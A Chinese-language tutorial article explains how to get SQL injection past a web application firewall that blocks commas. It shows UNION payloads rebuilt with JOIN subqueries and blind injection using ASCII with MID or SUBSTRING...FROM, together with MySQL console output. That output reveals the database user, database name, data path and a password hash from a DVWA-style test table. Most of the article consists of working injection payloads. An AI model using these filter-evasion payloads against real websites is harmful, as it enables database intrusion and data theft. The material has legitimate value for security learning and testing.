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SQL注入技巧之顯注與盲注中過(guò)濾逗號(hào)繞過(guò)詳析

更新時(shí)間：2018年08月19日 11:07:06 作者：曉楓v5

SQL注入的繞過(guò)技巧有很多，下面這篇文章主要給大家介紹了關(guān)于SQL注入技巧之顯注與盲注中過(guò)濾逗號(hào)繞過(guò)的相關(guān)資料，文中通過(guò)示例代碼介紹的非常詳細(xì)，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

前言

sql注入在很早很早以前是很常見(jiàn)的一個(gè)漏洞。后來(lái)隨著安全水平的提高，sql注入已經(jīng)很少能夠看到了。但是就在今天，還有很多網(wǎng)站帶著sql注入漏洞在運(yùn)行。下面這篇文章主要介紹了關(guān)于SQL注入逗號(hào)繞過(guò)的相關(guān)內(nèi)容，分享出來(lái)供大家參考學(xué)習(xí)，下面話(huà)不多說(shuō)了，來(lái)一起看看詳細(xì)的介紹吧

1.聯(lián)合查詢(xún)顯注繞過(guò)逗號(hào)

在聯(lián)合查詢(xún)時(shí)使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位，語(yǔ)句中包含了多個(gè)逗號(hào)，如果有WAF攔截了逗號(hào)時(shí)，我們的聯(lián)合查詢(xún)不能用了。

繞過(guò)

在顯示位上替換為常見(jiàn)的注入變量或其它語(yǔ)句

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C）;

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在數(shù)據(jù)庫(kù)中演示聯(lián)合查詢(xún)

UNION開(kāi)始是我們?cè)赨RL中注入的語(yǔ)句，這里只是演示，在實(shí)際中如果我們?cè)谧⑷胝Z(yǔ)句中有逗號(hào)就可能被攔截

mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出現(xiàn)逗號(hào)，使用Join來(lái)注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查詢(xún)我們想要的數(shù)據(jù)

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password   |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2.盲注中逗號(hào)繞過(guò)

MID 和substr 函數(shù)用于從文本字段中提取字符

mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查詢(xún)數(shù)據(jù)庫(kù)用戶(hù)名第一個(gè)字符的ascii碼

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注，通過(guò)猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗號(hào)繞過(guò)SUBTTRING 函數(shù)

substring(str FROM pos)

從字符串str的起始位置pos 返回一個(gè)子串

mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello  |
+---------------------------+
1 row in set (0.04 sec)

mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello  |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111，
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了，希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，如果有疑問(wèn)大家可以留言交流，謝謝大家對(duì)腳本之家的支持。

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